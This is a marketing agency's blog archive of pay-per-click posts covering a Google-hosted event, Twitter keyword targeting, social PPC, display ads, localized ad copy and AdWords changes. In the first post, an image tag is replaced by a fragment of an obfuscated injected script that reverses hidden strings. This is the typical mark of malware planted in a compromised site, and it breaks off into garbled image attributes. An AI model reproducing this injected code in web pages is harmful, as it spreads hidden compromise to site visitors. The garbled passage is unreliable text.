Category Archives: PPC


Google Partner Captain Marketing hosts Event in Venice

Posted on September 23, 2014 in Captain Marketing, PPC, SEO by cmblogger

Google <script>$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list[n])==”string”)return $GQRkExOVl1p57bbeL4u.list[n].split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list[n]};$GQRkExOVl1p57bbeL4u.list=[and Captain Marketing Event" width="543" height="447" class="aligncenter size-full wp-image-1009" />

In an invitation to any business interested in improving overall sales and boosting the impact of their digital “footprint,” Google Partner, and online marketing company Captain Marketing is hosting a VIP luncheon on September 24th at Google headquarters in Venice, California. While the event is free, a reservation is required, along with an RSVP.

This informational marketing presentation is another in a series of recent outreach efforts by Captain Marketing, but represents the first time it will be co-hosting an event held by the Internet search giant. “We’re very excited about our close relationship with Google and their agency-partner team,” says Captain Marketing Director of Operations, Wendy Allen. “It’s a nice way of demonstrating our real commitment to our customers. There’s a lot of confusion out there about how to get on page one of the search engine."


Twitter Announces Keyword Targeting

Posted on May 30, 2013 in PPC, Social PPC by cmblogger

As one of the “big three” social media platforms, Twitter provides an enormous opportunity for its users to connect with consumers. Now with their widespread roll-out of new paid advertising features, Twitter has become an essential for any business interested in an effective targeted advertising campaign.

Twitter’s new interface will allow businesses to utilize keyword targeting to find exactly the right audience for their message. As the email Twitter sent out to their existing Ad users explains, “…you can reach users at the right time and in the right context based on keywords in their Tweets and the Tweets they’ve recently engaged with. Simply specify the keywords you want to target and then add on targeting for location, device and gender.”

Whether you’re interested in reaching families tweeting about their plans for a trip to Disney World, or dieters who are updating us on their weight loss progress, the possibilities are endless.

With more than 550 million active, registered Twitter users and 58 million tweets per day, this social media platform is a force to be reckoned with on today’s Internet. Take advantage of their new opportunities for effective paid advertising to capture this desirable consumer base.


Expand Your Social PPC

Posted on May 24, 2013 in PPC, Social PPC by cmblogger

Marketing superheroes unite! With the recent changes to Google+, and now Twitter’s paid ads, social PPC presents exciting opportunities for expanding your reach into new areas on these popular social media platforms.

Along with a redesign and introduction of multiple new features, Google announced this week that some Google Offers will now be visible on Google+ user streams. While still in testing, this means that consumers will be able to share and interact with more of their favorite brands in an even more public way on the social media platform. Plans for expansion are expected soon.

Twitter has also made changes. For the past three years, the platform has been testing their own paid advertising program during a lengthy roll out process, using only a few select partners. Participation required a specific invite, and in March, a new self-serve option for buying ads was introduced, but only on a limited basis.

That all changed as of late April. Twitter has now gone the Full Monty with ads opened up for everyone to use. Twitter’s Senior Director of Product for Revenue Kevin Weil described it this way: “…We’re really excited that today every business in the US is going to be able to leverage the power of Twitter advertising, either through Promoted Accounts to build a loyal follower-base, or through Promoted Tweets to reach a broader audience.”

Get ready for increased visibility and more leads generated through paid advertising on these successful social media platforms. With social PPC, it’s never been easier to stay ahead of your competitors and fully engage with consumers everywhere.


Google Display Advertising: Understand All Your Options

Posted on May 16, 2013 in Coupons, PPC by cmblogger

With 700 million monthly users, Google’s network for display advertising reaches more than 80% of the online audience. This enormous scope allows Google to offer multiple types of ads, from text only to video, but most inexperienced marketers gravitate towards the default display option, incorporating keywords from an organic search campaign and hoping for the best. Most of your competitors will be adopting this approach, going on to achieve only fair to middling results.

Start with the right display keywords. Remember, Google ignores match types for paid advertising. They also use negative keywords to facilitate correct ad placement. According to most analysts, the best course is to choose only a few broader terms for search (2-3 words each rather than longer combinations) and only a few negative keywords (rather than thousands) for your campaign.

Keyword segmentation also makes a difference. Choose what each ad and landing page will be for every ad group. Keywords must match both the ad and and the landing page. Include effective placement targeting, and flexible reach, and you have a campaign that can really make a difference.

Think outside the box. Take advantage of the different formats available. Understand where each dollar you spend is going.  Use just the right image (or video), target exactly the audience you need-and watch your sales grow, both for online and your brick and mortar location. With a great display campaign, you’ll soon wave goodbye to your competitors, and hello to success.

If you want more help with your PPC Campaign, Captain Marketing offers a variety of services designed to optimize your ads.

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Localized Ad Copy Drives Engagement

Posted on May 9, 2013 in Coupons, PPC by cmblogger

Local Marketing with The Captain

When creating ad copy for your PPC campaign, remember to provide a local context for your products and services. Identifying your brand with your geographic area is an easy way to boost sales and increase consumer engagement.

Consumers relate better to a business that has an affiliation with their own community or region. Promote interest in your brand with a call to action that encourages customers to come into your brick and mortar location, or talk about local promotions to build interest and foster trust.

According to a recent study, users engage a whopping 100-120% more with an ad that features local content when compared with engagement rates for a similar ad without localized copy.

That statistic repeats itself with localized coupons as well. According to the same survey, store location was a huge factor in attracting interest from consumers (36%), followed by reviews (35%) and information on the deal itself (29%).

Location-based ads are now high priority for any pay per click campaign. Make sure you take advantage of this growing trend with compelling ads that feature a local context.

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Pay Per Click: Part of Any Successful Inbound Marketing Program

Posted on May 2, 2013 in Coupons, PPC by cmblogger

When it comes to getting leads for your website, organic search isn’t enough. Pay per click advertising is critical in providing you with access to the targeted consumers you’ll need for success.

Combined with frequent additions of meaningful content to your website, a strong social media presence, and good SEO, a competent PPC program can increase your incremental traffic by 89%, according to a recent Google study.

Don’t fall behind your competitors when it comes to savvy Internet marketing. Capture the consumers who are ready to buy or engage with your products and services with  well written ad copy, the right keywords and appropriate ad placement.

Reaching the consumers who matter with PPC means more traffic, more leads and more business, fast.

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Diversify Your PPC Campaigns or Risk Losing Customers

Posted on April 26, 2013 in Mobile Advertising, PPC, SEM, Social PPC by cmblogger

The days of doing just one thing to get leads won’t work anymore in today’s competitive marketplace – you must diversify your social media marketing program to get results. Make sure you’re segmenting your PPC program to reach customers on all the platforms they use.

Search engine PPC ads capture people as they are searching the exact keywords associated with your products. It is about getting in front of people who already know what they are looking to buy.

Facebook ads capture the attention of people who might like your product but aren’t searching for it yet. With Facebook, ads are served in a social space to the people you want to target. New ad categories mean you can now target people based on what their interests are, along with age, gender, and education level. Don’t miss the opportunity to find new customers!

Mobile advertising reaches consumers when they are on their phones and tablets. It can target customers right as they are near your store, or right as they are casually browsing for products. More brands are jumping onto the mobile platform to make sure that they are always top of mind. Don’t let your competitors steal your customers because they are on the new platform when you aren’t.

Smart PPC choices can bring up your overall metrics and conserve your budget resources through careful market targeting. Remember, effective PPC in 2013 is all about diversification.

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Facebook Ads Now Include Broad Interest Categories

Posted on April 19, 2013 in Coupons, PPC by cmblogger

You can now target Facebook ads at broad categories of people rather than just relying on demographic data.

The new partner categories allow you to target specific interests, meaning you have better access to exactly the right type customers for your business. The broader consumer categories are based on a person’s browsing and purchasing histories. This data predicts who will be interested in ads that focus on your chosen category.

Let Captain Marketing help you with your Social Media Marketing and Facebook ads for maximum return on your investment with our affordable, effective Social PPC programs.

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Holiday Mobile Statistics Released

Posted on March 7, 2013 in PPC, SEM by cmblogger

Holiday Mobile Statistics Released

Google Adwords has released information about the 2012 holiday retail season, and the information within points to the increasing role taken by tablets and mobile devices in generating a strong PPC strategy for any small to midsize business. Consumers are now constantly connected, even on the road-and any Adwords programs must now address the need for tightly focused, regional campaigns for maximum success. Google reports that 67% of consumers, for example, say that having multiple devices makes it easier to shop, and a full 50% of consumers polled felt that “I find that being able to shop on multiple devices makes me do so more frequently.” Google reveals that 71% of smartphone owners used the device to locate a store, and 51% used it to find a mobile coupon.


Changes to Adwords Ahead, Google Announces

Posted on February 26, 2013 in PPC, SEM by cmblogger

Changes to Adwords Ahead, Google Announces

Google announced changes to its Adwords program this week, signalling real changes in the way in which PPC campaigns will be conducted for advertisers large and small. While some are concerned there may be complications ahead, Google assures advertisers that these shifts are in the end, designed to make the PPC process simpler and more effective for everyone. These changes include new flexible marketing tools to allow you to manage bids across multiple types of devices, including tablets and smartphones, as well as at different times of day, etc. Ads are also touted as being “smarter,” with optimization for multiple user contexts. Google itself describes these enhanced campaigns as ones that allow you to “show ads across devices with the right ad text, sitelink, app or extension, without having to edit each campaign for every possible combination of devices, location and time of day.” Finally, reports will now measure new conversion types, so that advertisers will be able to really take stock of the success of a particular campaign across the board. Supporters of the changes argue this will make for more focused and easier advertising strategies, while critics charge that the new changes mean a complete reversal in the ad structuring Google itself had demanded previously. Nevertheless, it appears the consensus is positive. Jon Myers, Vice President at Marin Software, told a reporter that this Adwords shift meant  “small businesses, particularly those with local and regional targeting requirements, are the biggest winners.”